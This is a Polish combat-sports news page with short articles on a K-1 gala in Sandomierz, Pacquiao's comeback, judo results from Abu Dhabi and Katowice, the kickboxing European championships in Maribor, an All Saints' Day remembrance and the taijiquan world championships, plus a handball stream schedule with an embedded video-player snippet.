Nie da się ukryć, że K-1 Global jest rozpoznawalną marką. Kłopoty nieco zachwiały jej pozycją, ale nadal dla wielu zawodników stanowi występ na galach wspomnianej organizacji to spełnienie marzeń.

KM

Temperatura idzie w górę

Ruszyło odliczanie do gali Angels of Glory in Kings Town – II edycja, która odbędzie się już 5 listopada w Sandomierzu. W walce wieczoru w K-1 wystąpią Wojciech Kosowski i Dominik Zadora. Transmisję z gali przeprowadzi telewizja FighTime. Zapraszamy! 

W czerwcu w Kielcach organizacja UCA dała pierwszą próbkę swoich możliwości. Podczas gali zaprezentowało się wielu klasowych kickboxerów. W Sandomierzu UCA chce pójść za ciosem. 5 listopada o godz. 19.30 w hali Miejskiego Ośrodka Sportu i Rekreacji przy ul. Aleksandra Patkowskiego 2A odbędzie się 10 ekscytujących pojedynków w K-1 oraz jeden bokserski.

Gotowi na wielkie emocje

Organizatorzy z niecierpliwością czekają na rozpoczęcie gali. – Już wszystko gotowe. Należy szykować się na wielkie widowisko. Na gali w Sandomierzu wystąpią klasowi zawodnicy, którzy prezentują wysokie umiejętności – mówi FighTime.pl Grzegorz Wrzesień, prezes UCA.

W walce wieczoru zaprezentuje się Wojciech Kosowski (75kg), który w Kielcach w trzeciej rundzie wygrał z Karolem Siwonią. Teraz rywalem reprezentanta warszawskiej Palestry będzie Dominik Zadora. – Zapowiada się interesujące starcie. Duch wojownika obecny jest w Dominiku. Ze strony jego obozu padły słowa, że chce zmierzyć się z Kosowskim. Będzie szansa, żeby przekonać się o tym, kto jest lepszy – przedstawia Wrzesień.

Organizatorzy wiele obiecują sobie po starciu Huberta Ulikowskiego z Krzysztofem Olszewskim w kategorii 60kg. Po raz kolejny na gali Angels of Glory zaprezentuje się Aneta Kopeć (56kg). – Ulikowski i Olszewski mieli szansę walczyć ze sobą podczas mistrzostw Polski. Lepszy okazał się wtedy zawodnik Palestry. Ulikowski był w Tajlandii, gdzie podnosił swoje umiejętności. Z pewnością będzie chciał wziąć rewanż – tłumaczy Wrzesień. – Po raz kolejny daję szansę Anecie Kopeć, która w Kielcach przegrała z Iwoną Nierodą, ale pokazała się z dobrej strony. Ma duży potencjał. Teraz czeka ją trudna walka z Joanną Różańską. Mogę powiedzieć, że ta, która wygra weźmie udział w kolejnej gali na Słowacji. Obie wywalczyły brązowe medale podczas mistrzostw Polski, nie miały okazji spotkać się po drodze – dodaje. 

W Sandomierzu dojdzie do pojedynków: Adriana Ahmada z Dusanem Gregą, Adama Gielaty z Miroslavem Smolarem, z kolei Marta Waliczek podejmie Martę Gusztab, a Michał Królik zmierzy się z Lukasem Mandinecem. Podczas gali zaprezentują się również: Jarosław Daschke, Iwona Nieroda, Daniel Kolasiński oraz Michał Turyński.

Plany już są

W karcie walk roi się od mocnych nazwisk. Iwona Nieroda zdobywała medale na najważniejszych imprezach. Podczas ostatnich mistrzostw Europy w Mariborze sięgnęła po srebro. Na Słowenii do finału dotarł również Michał Królik, który musiał uznać wyższość fightera z Rosji. Z kolei Michał Turyński to mistrz świata WAKO PRO z Sarajewa. – W karcie walk znalazła się elita K-1. Muszę stawać na wysokości zadania i ściągać najlepszych zawodników z Europy. To gwarancja jakości –  zaznacza prezes UCA.

Przed nami gala w Sandomierzu, a po niej oczekiwanie na kolejne wydarzenie. Już w grudniu w Bardejovie na Słowacji odbędzie się następna odsłona zmagań pod sztandarem UCA. Jak udało nam się ustalić, w walce wieczoru o pas zawodowego międzynarodowego mistrza Słowacji wystąpi Arkadiusz Kaszuba. 

KM

LIVE: Men’s U20 Friendly Tournament

Telewizja BeOnlajn zaprasza na transmisję telewizyjną na żywo z Międzynarodowego Turnieju w Piłce Ręcznej, w której udział wezmą reprezentacje Polski, Szwecji, Norwegii i Słowacji.

PLAN TRANSMISJI:

Piątek (04.11) godz. 16.00 mecz Szwecja vs Słowacja

Piątek (04.11) godz. 18.00 mecz Polska vs Słowacja

Niedziela (06.11) godz. 10.00 mecz Norwegia vs Słowacja

Niedziela (06.11) godz. 12.00 mecz Polska vs Szwecja

UWAGA: Sobotnie mecze nie będą transmitowane.

[kod]

International Youth Handball Tournament

International Youth Handball Tournament

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/ZPRP_Chorzow.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/ZPRP_Chorzow.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/ZPRP_Chorzow.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/ZPRP_Chorzow.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Senator wraca na ring

Manny Pacquiao zrezygnował ze sportowej emerytury i postanowił wrócić na ring. Już 5 listopada w Thomas & Mack Center w Las Vegas zmierzy się z Jessie Vargasem. Stawką pojedynku będzie mistrzostwo świata WBO w wadze półśredniej.

Powszechnie wiadomo, że 37-latek aktywnie działa na rzecz Filipin. Z senackim mandatem może w pełni zaangażować się w pracę na rzecz dobra wspólnego. W kwietniu postanowił pożegnać się z boksem i w całości oddać się polityce, jednak po kilku miesiącach zweryfikował plany.

Jeszcze mu mało?

Człowiekowi głodnemu trudniej skupić się na pracy i perfekcyjnie wykonać obowiązki. Wystarczy, że niczym bajkowy Kubuś Puchatek napełnić swój brzuszek i sprawa wygląda zupełnie inaczej. Uśmiech na twarzy, gotowość do działania i niespożyty zapas energii. Czy w takich kategoriach należy rozpatrywać Pacquiao? Jeszcze kilka miesięcy temu pisano peany o jego ringowych osiągnięciach, wspaniałych walkach i zdobytych tytułach. Ktoś napomknął, że nie wytrzyma i wróci. W myśl zasady „ciągnie wilka do lasu”.

„Pacman” zdobywał tytuły w ośmiu kategoriach wagowych – od muszej do lekkośredniej. Przez 21 lat zawodowej kariery stoczył ponad 60 pojedynków. Pacquaio toczył wspaniałe walki z ikonami boksu m.in Oscarem de la Hoyą, Miguelem Cotto czy Antonio Margarito. W kwietniu 37-latek po raz trzeci w karierze spotkał się z Timothy'm Bradleyem. Filipińczyk wygrał drugą walkę z Amerykaninem i powiedział: stop.

Polityka go pociągała, ale nie wciągnęła tak jak boks. Podjął decyzję o powrocie, który ma być wstępem do kolejnych walk. Pacuqiao połączy garnitur i rękawice. Co z tego wyjdzie? Przekonamy się już 5 listopada, ale porażka może oznaczać definitywny koniec. W takich przypadkach często mówi się, że powracający stawia na szali cały swój dorobek. 

Idzie młodość

Jessie Vargas to najbliższy rywal Pacuqiao. Dzieli ich 10 lat różnicy i przepaść w ringowym doświadczeniu. 27-latek wie jak smakuje sukces, bo jest posiadaczem pasa mistrzowskiego WBO w wadze półśredniej. Wcześniej zdobył także tytuł mistrzowski WBA w kategorii superlekkiej. Vargas zdecydował się na rywalizację w wyższej wadze, co niosło ze sobą określone konsekwencje. 

Do tej pory Amerykanin przegrał tylko raz. W ubiegłym roku przegrał z Timothy'm Bradley'em Jr. Łącznie stoczył 27 pojedynków, z których 10 wygrał przed czasem. W zestawieniu z Pacquiao jego dorobek wygląda nader skromnie.

5 listopada Vargas stanie przed najtrudniejszym wyzwaniem w swojej karierze. Ma pas, pokazał już potencjał i nic nie ryzykuje. Porażka nie przekreśli jego dalszej kariery, zwycięstwo pozwoli mu na sportowy awans. A Pacquiao? Filipińczyk musi myśleć tylko o wygranej, bo porażka zepchnie go w bokserską nicość. Triumf w pojedynku z Vargasem ma być dla „Pacmana” przepustką do rywalizacja z Terence'm Crawfordem, czempionem WBO i WBC. 

KM

Pusto w Abu Dhabi

Zero po stronie zdobyczy polskich judoków w zawodach Grand Slam w Abu Dhabi. Najlepsi w klasyfikacji medalowej okazali się Francuzi.

O krok od podium była Karolina Pieńkowska (52kg), która ostatecznie uplasowała się na piątej pozycji. Na punktowanych miejscach znalazły się także występujące w kategorii 63kg Agata Ozdoba i Karolina Tałach.

Walczyła o brąz, lepsza Brazylijka

Ostatnie miesiące w wykonaniu Karoliny Pieńkowskiej były udane. 23-letnia judoczka w Zagrzebiu wygrała zawody rangi Grand Prix, wcześniej była trzecia w Budapeszcie. Rok temu Pieńkowska również startowała w Abu Dhabi i wywalczyła piąte miejsce. Minęło dwanaście miesięcy i powtórzyła wynik. Zmagania w Abu Dhabi zaczęła od rywalizacji z Tiheą Topolovec. Polka punktowała dwa razy dzięki yuko. W kolejnym starciu wicemistrzyni Polski stoczyła zacięty bój z trzecią zawodniczką mistrzostw Europy juniorek Astride Gneto. Francuzka triumfowała, ale tylko dzięki karze shido na koncie Pieńkowskiej. O brąz 23-latce przyszło mierzyć się z Jessicą Pereirą. Brazylijka wygrała przez ippon i po raz pierwszy w karierze stanęła na podium zawodów rangi Grand Slam.

Przez poważną kontuzję kolana odniesioną w ubiegłym roku, Agata Ozdoba (63kg) straciła część sezonu. Wróciła na kwietniowe mistrzostwa Europy w Kazaniu, gdzie drużyna kobiet wywalczyła złoto. Indywidualnie Polka jeszcze nie stanęła na podium. W ostatnich startach 28-latka prezentuje się coraz lepiej. Blisko podium była w Zagrzebiu, z kolei w Abu Dhabi wywalczyła siódme miejsce. Ozdoba pokonała Larę Reimann, jednak kolejne dwa pojedynki przegrała przez ippon.

Siódma w Abu Dhabi była również Karolina Tałach (63kg), która ostatnie dwa występy kończyła na podium. W Emiratach marzenia o sukcesie wybiły jej z głowy Brazylijki: Mariana Silva i Ketleyn Quadros.

O swoich występach w Abu Dhabi jak najszybciej będą chcieli zapomnieć Michał Bartusik (66kg), Jakub Kubieniec (81kg) i Piotr Kuczera (90kg). Wszyscy odpadli z rywalizacji już po pierwszej walce.

Mocna Francja

Aż osiem brązowych medali zapisali na swoim koncie judocy z Brazylii. Wynik ten jest o tyle ważny, że Francuzi, którzy triumfowali w klasyfikacji medalowej zapisali na swoim koncie tylko… sześć krążków, ale trzy z najcenniejszego kruszcu. Co ciekawe, zdobycz ta jest udziałem kobiet. Po złote medale dla Francji sięgnęły: Astride Gneto (52kg), Helene Receveaux (57kg) oraz Eve Marie Gahie (70kg).

Drugie miejsce w klasyfikacji medalowej dla Holandii (dwa złota i brąz), a trzeci dla obłowionej Brazylii (złoto, cztery srebra i osiem brązów).

W Abu Dhabi wystartowało 155 zawodników.

KM

Pamiętamy o tych, którzy odeszli

Dzień Wszystkich Świętych to okazja do pogłębionej refleksji. Zgłębiamy tajemnicę życia, ale i śmierci. Często musimy się z nią godzić. Przychodzi niespostrzeżenie, niesłychanie i rodzi ból. W ciągu ostatnich dwunastu miesięcy świat sportów walki żegnał wiele zasłużonych postaci.

Dzień za dniem, tydzień za tygodniem, mijają miesiące i przychodzi chwila, w której wszyscy się zatrzymujemy. Żegnamy bliskich, przyjaciół, znajomych i sami podejmujemy refleksję nad własną drogą. Chcemy, aby nasze życie było jak najbardziej owocne. 1 listopada wspominamy tych, których już z nami nie ma.

W ciągu ostatnich dwunastu miesięcy…

Świat sportów walki żegnał wiele wybitnych postaci. Śmierć nie patrzy na wiek, dorobek i gotowość do podejmowania kolejnych wyzwań. Przychodzi i zabiera, a nam zostawia ból, żal i smutek. Często trudno nam pogodzić się z utratą bliskich, ale fundamentalna jest pamięć, która trwa i trwać będzie. 

W październiku wszystkich zaskoczyła śmierć Grzegorza Pieronkiewicza. Odszedł zaledwie w wieku 41 lat. Swoje życie w całości poświęcił zapasom. Najpierw był czynnym zawodnikiem i reprezentował barwy takich klubów jak GKS Katowice i KS Unia Racibórz. Do największych sukcesów Pieronkiewicza należy zaliczyć trzykrotne wywalczenie wicemistrzostwa Polski seniorów oraz międzynarodowego wicemistrzostwa Polski seniorów. Od 2012 roku był prezesem Polskiego Związku Zapaśniczego.

Cały świat znał Muhammada Aliego i podziwiał jego walki, zarówno te ringowe jak i zmagania z chorobą. Zacięty bój toczył od 32 lat. Choroba Parkinsona doświadczyła Aliego, który zmarł w wieku 74 lat. Pozostawił po sobie wiele pięknych ringowych bojów. Ali na swoim koncie zapisał złoto igrzysk olimpijskich w Rzymie. Trzykrotnie zdobył tytuł mistrza świata wszech wagi. Ponad 30 pojedynków na zawodowym ringu wygrał przez nokaut.

W wieku 70 lat zmarł wybitny polski bokser Wiesław Rudkowski. Urodzony w Łodzi pięściarz wystąpił na igrzyskach w Meksyku w 1968 roku oraz w Monachium w 1972 roku, gdzie sięgnął po srebrny medal w wadze lekkośredniej. Wywalczył także trzy krążki mistrzostw Europy, w tym złoto w 1975 w Katowicach. 

W kwietniu odszedł Henryk Średnicki. Miał 61 lat. Średnicki to jedyny polski mistrz świata w wadze muszej. Tytuł wywalczył w 1978 roku w Belgradzie. Zdobywał również złote medale mistrzostw Europy.

Hubert Cysdorf zmarł w wieku 72 lat. Związany był z judo. Przez lata trenował w takich klubach jak: Polonia Bydgoszcz, LZS Szubinianka Szubin i KU AZS UKW Bydgoszcz. Niespełna 54 lat miał Piotr Pożyczka, trener boksu zawodowego.

Ring opuszczał na noszach, zmarł w szpitalu. Mike Towell miał zaledwie 25 lat. Przyczyną śmierci były poważne obrażenia odniesione podczas walki, którą sędzia przerwał w piątej rundzie. Kevin „Kimbo Slice" Ferguson był znany z występów w MMA. Rosły zawodnik zmarł w wieku 42 lat w wyniku nagłego ataku serca. 

Najpierw zapasy, a potem MMA – taką drogę przebył Kevin Randleman. Amerykanin występował w takich organizacjach jak PRIDE i UFC. Zmarł w wieku zaledwie 44 lat.

Pamiętamy!

Cały czas pamiętamy o dokonaniach Józefa Warchoła, który zdobywał najwyższe laury w kickboxingu. Odszedł w 2015 roku w wieku 51 lat. Po raz kolejny wspominamy również wspaniałego dziennikarza sportowego Bogdana Chruścickiego oraz mistrza słowa Bohdana Tomaszewskiego. Pamiętamy również o dwukrotnym mistrzu olimpijskim w judo Hitoshim Saito. 

Cztery lata temu żegnaliśmy Jerzego Kuleja. Cały czas pobrzmiewa nam jego profesjonalny komentarz podczas walk bokserskich. Wracamy wspomnieniami do jego osiągnięć, wśród których należy wymienić dwukrotne wywalczenie mistrzostwa olimpijskiego. W 2014 roku odszedł również inny wybitny przedstawiciel boksu Zbigniew Pietrzykowski. 

W dzień Wszystkich Świętych oddajemy chwałę tym, którzy kształtowali świat sportów walki. Pamiętamy i chcemy czerpać z ich dorobku. Ich dokonania na zawsze zapisały się na kartach historii. 

KM

Medalowa mieszanka

Potężni Rosjanie, waleczni zawodnicy z Bałkanów i zawsze trzymający wysoki poziom Polacy – tak należy streścić mistrzostwa Europy, które odbyły się w Mariborze. Biało-czerwoni wywalczyli łącznie 20 medali w formułach light contact, low kick oraz K-1.

Z pewnością zdobycz Polaków mogła być nieco większa. Kilku biało-czerwonych było o krok od podium tak jak Łukasz Wichowski, Wojciech Wiśniewski czy Piotr Owczarzak. Niektórzy z naszych faworytów musieli zadowolić się „tylko” srebrnymi medalami m.in. Iwona Nieroda. Jednak po raz kolejny uzyskaliśmy potwierdzenie, że kickboxing w polskim wydaniu ma się dobrze.

Złota posypały się w K-1

Mamy mistrzów Europy! – to najważniejsza wiadomość. Niezawodny Dawid Kasperski (na zdjęciu z lewej po jednej z wygranych walk zawodowych) wraca z Mariboru w wyśmienitym nastroju. Zawodnik Punchera Wrocław (86kg) odprawiał kolejnych rywali. Również Vitalii Korchak okazał się bezsilny wobec potencjału Kasperskiego. Mateusz Pluta (91kg) w półfinale pokonał gwiazdę mołdawskiego kickboxingu Pavla Voronina. Na dokładkę wygrał finał z Igorem Darmeshkinem i sięgnął po tytuł mistrza Europy. Wśród czempionów znalazła się również Małgorzata Dymus (52kg), która w decydującym boju odprawiła Czeszkę Sandrę Maskovą. Złoto na swoim koncie zapisała także Paulina Bieć (70kg). 

Michał Królik w półfinale odprawił Rusłana Musayeva z Azerbejdżanu, jednak w finale trudne warunki postawił mu Timur Nadrov i to Rosjanin cieszył się z wygranej. Tytuł wicemistrzyni Starego Kontynentu przypadł Róży Gumiennej (65kg). Niewiele do wejścia do finału zabrakło Arkadiuszowi Kaszubie (81kg). Polak sięgnął po brązowy medal. Taki sam rezultat jak Kaszuba osiągnęły: Monika Markowska (52kg) i Natalia Nikołajczuk (70kg). 

Nieroda o krok od złota

„Do dobrego człowiek się przyzwyczaja”. Iwona Nieroda nie raz potwierdziła klasę zdobywając tytuły mistrzowskie i tocząc imponujące walki zawodowe. Na Słowenii walczyła o złoto. Z występem Nierody (56kg) w low kicku wiązaliśmy ogromne nadzieje, jednak tym razem się nie udało. Reprezentantka Diamentu Pstrągowa  zdobyła „tylko” srebro. Lepsza od Polki okazała się Oksana Shchetinina. Liczyliśmy również na złoto Radosława Paczuskiego (81kg), który wygrywał kolejne walki, jednak w finale musiał uznać wyższość rywala. Tytuł mistrza Europy wywalczył Nikola Stosic.

Jednak w wyśmienity nastrój w low kicku fanów wprawił Kamil Ruta (86kg). Ciężki półfinałowy bój z Mensurem Muriciem zakończył się sukcesem Polaka. Zawodnik MKS Wicher Kobyłka pokazał ogromny potencjał i potwierdził umiejętności. W finale poszedł za ciosem i pokonał Lukę Simicia. Polak sięgnął po złoto!

Finałowa walka nie ułożyła się po myśli Jana Lodzika (63,5kg). Polak musiał uznać wyższość reprezentanta Rosji Shamila Gadzhimusaev. Polak dużo sił stracił w półfinale z mocnym Lucą Mamelim. W półfinale Łukasz Kaczmarczyk (71kg) stoczył ciężką walkę z Rusłanem Bikmenovem. Z rywalizacji z Rosjaninem miał złe wspomnienia, bo wcześniej przegrał z nimi w Pucharze Świata. Maribor okazał się szczęśliwy dla Kaczmarczyka, który wziął rewanż i awansował do finału. Ostatecznie zdobył srebro, lepszy był Luka Tomic. Tak niewiele do finału zabrakło Kamilowi Sójkowskiemu (75kg). Zawodnik ŁKS Boks Łódź toczył wyrównany bój z Atanasem Bojilovem, jednak Bułgar lepiej przetrwał końcówkę. Sójkowski ze Słowenii wraca z brązowym krążkiem. Srebro wywalczyła Karolina Kubiak (48kg). Z kolei Katarzyna Jaworska (65kg) zapisała na swoim koncie brąz.

W light contact złoto dla Pauliny Jarzmik (60kg), która w finale uporała się z Deirdre Begley. Dorota Godzina (55kg) wywalczyła brąz, choć w walce o finał wcale nie ustępowała Valentinie Filatovej. Sędziowie uznali inaczej. Ostatecznie Rosjanka zdobyła złoto pokonując z finale Gabriellę Busę.

W rywalizacji weteranów po złoto sięgnął Leszek Jobs z Zamek Expom Kurzętnik. Nie miał jednak łatwej przeprawy. 45-latek stoczył ciężki bój o finał z Istvanem Tothą, a w decydującym boju uporał się z Enzo Isopo.

KM

Początek mistrzostw w kratkę

Biało-czerwoni rywalizują w mistrzostwach Europy w Budapeszcie. Na początek komplet zwycięstw odnieśli nasi zawodnicy startujący w formule low kick. Powodów do zadowolenia nie ma w K-1.

Do Słowenii pojechało 35 reprezentantów Polski. Cel jest tylko jeden: walka o najwyższe trofea, w co głęboko wierzymy. Choć niektórzy z naszych już w pierwszych walkach „sparzyli się”.

Skuteczni do bólu

Na początek zmagań w Mariborze zaprezentowało się czterech naszych zawodników w formule low kick. Wszyscy wygrali swoje pojedynki. Szybko swoją walkę zakończył Kamil Sójkowski (75kg). Reprezentujący barwy klubu ŁKS Boks Łódź zawodnik już w pierwszej rundzie rozprawił się z Osaidem Hajyahyą z Izraela. Pewne zwycięstwa odnotowali Karol Sadłocha (67kg) oraz Tomasz Klimiuk (91kg), którzy zdominowali swoich rywali i wygrali po 3:0.

Wyrównany bój stoczył Łukasz Kaczmarczyk (71kg). Hiszpan Jon Miguez Talledo postawił trudne warunki Polakowi. Pierwsza runda dla Kaczmarczyka, który zwolnił tempo w drugiej odsłonie. Wykorzystał to Hiszpan, przez co w trzeciej rundzie było wiele niepewności. Ostatecznie ze zwycięstwa może cieszyć się Kaczmarczyk. 

W light contact nasi również pokazali się z dobrej strony. Pewnie wygrała Paulina Jarzmik, która w trzeciej rundzie pokonała zawodniczkę z Węgier. Teraz stanie przed trudniejszym zadaniem. W ćwierćfinale czeka ją rywalizacja z wicemistrzynią Europy, z którą Polka już rywalizowała i ma ze dobre wspomnienia. Bez większych problemów 1/8 finału przeszedł Łukasz Wichowski (79kg). Polak pewnie pokonał Brendana Kenny'ego. Piotr Owczarek (69kg) trafił na rywala, który nie trzymał się obowiązujących zasad. Andreas Markokonstantinos został zdyskwalifikowany w trzeciej rundzie, a Polak już może myśleć o fazie medalowej. Porażkę poniósł Adrian Duma (74kg).

Powyższe wyniki dotyczą wtorkowych pojedynków w Mariborze. W środę dotarła do nas kolejna radosna wiadomość. Swoja walkę wygrała w light contact Dorota Godzina (55kg).

W K-1 pod górę

Rywalizacja w K-1 nie rozpoczęła się po myśli biało-czerwonych. Na pięciu zawodników tylko Marcinowi Kretowi (71kg) udało się wyjść zwycięsko z potyczki. Fighter UKS Puncher Wrocław pokonał Ali Makhiego z Belgii.

Anna Kozera (52kg) walczyła ambitnie, ale wyżej stały akcję Moniki Markowskiej z Wielkiej Brytanii. Porażki ponieśli również Aleksander Kalicki (63,5kg), Michał Ronkiewicz (75kg) i Michał Turyński (75kg).

Transmisję z mistrzostw Europy w Mariborze mogą śledzić Państwo za pośrednictwem telewizji FighTime. Wystarczy wejść tu

KM

Polacy ruszyli na podbój Europy

Może i brzmi to górnolotnie, ale nie da się ukryć, że biało-czerwoni pojechali do Mariboru walczyć o najwyższe cele. Mistrzostwa Europy w K-1, low kicku i light contact zapowiadają się niezwykle ciekawie.

Biało-czerwoni już są w Słowenii i czekają na swoje walki. Przy okazji kolejnej imprezy musimy powtórzyć, że bez worka medali się nie obejdzie. Nasi przyzwyczaili nas do bogatych zdobyczy.

Powalczyć o kwalifikacje

Warto zaznaczyć, że wywalczenie medalu w Mariborze jest gwarancją uzyskania przepustki do World Games 2017 we Wrocławiu. Nie da się ukryć: stawka rywalizacji jest ogromna. Na Słowenii zaprezentuje się 35 naszych reprezentantów.

Najliczniejsza grupa wystąpi w K-1. Faworytem do medalu jest Dawid Kasperski (86kg), który w każdym występie prezentuje się coraz lepiej i potwierdza wysokie umiejętności. Ogromny potencjał ma Arkadiusz Kaszuba (81kg), ale w jego kategorii jest ogromny ścisk. W tym roku z tytułu mistrza świata WAKO Pro w Sarajewie cieszył się Michał Turyński (+91kg). Warto zatem iść za ciosem i sięgnąć po kolejne trofeum. W Mariborze wystąpi także znana z występów na galach federacji FEN Róża Gumienna (65kg). 

W K-1 zaprezentują się także: Ewa Boś (48kg), Anna Kozera (52kg), Małgorzata Dymus (56kg), Marta Waliczek (60kg), Natalia Nikołajczuk (70kg), Paulina Bieć (+70kg), Krystian Bernatowicz (57kg), Michał Królik (60kg), Aleksander Kalicki (63,5kg), Wojciech Kazieczko (67kg), Marcin Kret (71kg), Michał Ronkiewicz (75kg) i Mateusz Pluta (91kg).

W light contact zobaczymy siedmiu naszych reprezentantów. Wysoko stoją akcje Doroty Godziny (55kg) oraz Pauliny Jarzmik (60kg), które w ubiegłym roku sięgnęły po tytuły mistrzyń świata. W Mariborze nie zabraknie wicemistrza świata z Belgradu Wojciecha Wiśniewskiego. Z pewnością o medal powalczy znany z występów na galach DSF Łukasz Wichowski, jeden z najlepszych specjalistów full contact.

Jest Paczuski, jest Ruta

Pojedynki Radosława Paczuskiego i Kamila Ruty zawsze niosły ze sobą wiele efektowności. W kategorii 81kg wyżej stoją akcje zawodnika Uniq Fight Club Warszawa. Jednak w Mariobrze obu zobaczymy w formule low kick. Ruta zaprezentuje się w kategorii 86kg. Na kolejny sukces liczy Tomasz Klimiuk (+91kg). W tym roku zawodnik Humana Białystok świętował wywalczenie Pucharu Świata w Rimini.

Łącznie w low kicku zaprezentuje się 11 naszych reprezentantów. Wiele należy sobie obiecywać po starcie Iwony Nierody (56kg). Zawodniczka UKS Diament Pstrągowa imponuje w walkach zawodowych. Rok temu w Serbii sięgnęła po tytuł mistrzyni świata w low kick. W Mariborze zaprezentują się również m.in. Karolina Kubiak (48kg), Jan Lodzik (63,5kg) oraz Łukasz Kaczmarczyk (71kg).

KM

Tytuły rozdane

W Katowicach judocy walczyli w Indywidualnych Mistrzostwach Polski Seniorek i Seniorów. Nie brakowało niespodzianek. Wiktor Mrówczyński triumfował w kategorii 73kg. Po raz kolejny bezkonkurencyjne okazały się Ewa Konieczny (48kg) i Agata Ozdoba (63kg).

Przez dwa dni w Katowicach toczyła się zażarta walka. Niestety, w stawce zabrakło uczestniczek Igrzysk Olimpijskich w Rio de Janeiro. Katarzyna Kłys zakończyła już sezon, z kolei Daria Pogorzelec wraca do zdrowa po kontuzji. Nie wystąpiła również Arleta Podolak (57kg).

Dominatorki

Rywalizacja rządzi się swoimi prawami. Każdy zawodnik chce wejść na szczyt i jak najdłużej na nim pozostać. Bez wątpienia absolutną dominatorką w kategorii 48kg jest Ewa Konieczny. Judoczka GKS Czarni Bytom w finałowym starciu uporała się z Joanną Stankiewicz. Tym samym Konieczny wywalczyła trzeci złoty medal z rzędu. Na najniższym stopniu podium stanęła Katarzyna Wiszniewska. 

Po raz kolejny wysokie umiejętności potwierdziła Agata Ozdoba (63kg). Karolina Tałach nadal nie może znaleźć sposobu na pokonanie judoczki KS AZS-AWF Wrocław. Jeszcze w końcówce  pojedynku była blisko wygranej, ale losy starcia na swoją korzyść odwróciła Ozdoba. Był to dla niej trzeci triumf z rzędu.

W kategorii 52kg koniec dobrej passy Karoliny Pieńkowskiej. Jej dominację przerwała Agata Perenc, która dotychczas musiała zadowalać się srebrnymi medalami. Trzecie miejsce dla Moniki Karkoszki z KS AZS AWFiS Gdańsk. Mistrzyni Polski juniorek cieszy się z tytułu zdobytego wśród seniorów. Julia Kowalczyk triumfowała w 57kg przed Anną Dąbrowską. To kolejny tegoroczny sukces judoczki Polonii Rybnik, która wywalczyła wcześniej brązowy medal mistrzostw Europy juniorów.

Ze złota cieszy się Urszula Hofman (70kg), która w decydującym pojedynku pokonała Sandra Lickun. Beata Pacut nie dała rady Pauli Kuladze (78kg). Judoczka TDK Trzcianka świętowała wywalczenie tytułu mistrzowskiego. Z kolei w +78kg triumfowała Anna Załęczna.

Kuczera mistrzem

Tempa nie zwalnia Piotr Kuczera (90kg). W ubiegłym roku zdobywał medal mistrzostw świata juniorów, a w tym sięgnął po brąz europejskiego czempionatu w Kazaniu. We wrześniu stanął na podium podczas zawodów Grand Prix w Zagrzebiu. W Katowicach Kuczera pokonał Patryka Cichomskiego. Na podium stanęli również Jakub Ozimek i Maciej Tworzydło.

W 60kg Adrian Wala pokonał Bartłomieja Garbacika i sięgnął po złoto. Tytuł wywalczył również Michał Bartusik (66kg). W decydującym starciu zawodnik UKJ Millenium Rzeszów pokonał Arkadiusza Makarewicza. Najwięcej zawodników, 35, wystartowało w kategorii 73kg. Sześć zwycięskich pojedynków stoczył Wiktor Mrówczyński, który w finale wygrał z klubowym kolegą Jackiem Bryszem. Na podium stanęli doświadczeni Krzysztof Wiłkomirski oraz Paweł Zagrodnik.

Mistrzami kraju zostali także: Jakub Kubieniec (81kg), Mariusz Krueger (100kg) i Tomasz Domański (+100kg).

KM

Kubiak tworzy historię polskiego wushu

Mistrzostwa świata taijiquan w Pruszkowie należy uznać za sukces sportowy naszej reprezentacji. Trzy medale wywalczone przez Annę Kubiak (na zdjęciu z prawej) w konkurencjach sportowych to wspaniały wynik, którego chyba nikt się nie spodziewał. 23-latka pokazała, że ciężka praca to najlepsza droga do sukcesu.

„Udało się upiec dwie pieczenie na jedynym ogniu”. Sukces organizacyjny i sportowy – tak w dużym skrócie należy ocenić mistrzostwa świata taijiquan, które odbyły się w dniach 17-20 października w hali Znicz. Przyznanie organizacji tej rangi imprezy to dla Polski ogromny sukces. 

Narodziny gwiazdy

Anna Kubiak zrobiła milowy krok w karierze i spełniła marzenia. W Pruszkowie wywalczyła tytuł wicemistrzyni świata w konkurencji sportowej z mieczem. Do tego dołożyła jeszcze dwa brązowe medale. Warto podkreślić, że trzeciego dnia mistrzostw świata Polka startowała w dwóch konkurencjach. Udźwignęła ten ciężar i po zakończeniu zawodów mogła się cieszyć. Pui Kei Ho była lepsza o zaledwie 0,22 pkt i to ona zdobyła tytuł mistrzyni świata. 23-letnia Polka również miała ogromne powody do radości.  W Pruszkowie Kubiak zaczęła pisać nową historię polskiego wushu. Jak wygląda przepis na sukces? – Generalnie trzeba mieć trochę szczęścia. Mi w trzecim dniu zawodów troszeczkę go zabrakło. Startowałam w dwóch konkurencjach. Trzeba dobrze wylosować, żeby była jedna w ciągu dniach bądź w trakcie sesji. Wtedy można wypocząć i przygotować się do kolejnego występu – mówiła nam Anna Kubiak, trzykrotna medalistka mistrzostw świata taijiquan.

Polacy mieli okazję rywalizować z zawodnikami z Azji, którzy uchodzą za wzór do naśladowania. Mają zupełnie inne warunki do uprawiania taijiquan. Praktycznie od najmłodszych lat mogą skupić się na doskonaleniu umiejętności. W Polsce zajęcia trzeba dzielić z innymi obowiązkami. Mistrzostwa świata pokazały, że jesteśmy w stanie nawiązać walkę z Azjatami. – Do deptania po piętach jeszcze daleko, ale małymi kroczkami zbliżamy się do zawodników z Azji. To jest kierunek, w którym będziemy podążać. Mam nadzieję, że to nas zmotywuje do dalszej pracy – podaje Kubiak.

Demonstracyjne sukcesy

W sumie Polacy podczas mistrzostw świata taijiquan wywalczyli 13 medali. Trzy to zasługa Anny Kubiak, pozostałe biało-czerwoni wywalczyli w konkurencjach demonstracyjnych. – Marian Olech wywalczył dwa złote medale, tak jak i Jadwiga Sochaj. Ewa Solarz raz wygrała, w kolejnym występie zajęła drugie miejsce. Monika Steckiewicz sięgnęła po dwa srebra. Z kolei Tomasz Dybicz zapisał na swoim koncie srebro i brąz. Nasze juniorki poza podium. Karolina Kulągowska dwukrotnie zajęła czwarte miejsca. Emilia Chmurska była piąta i szósta, a Karolina Jabłońska plasowała się na szóstych pozycjach – przedstawia Robert Mrózek, trener reprezentacji Polski.

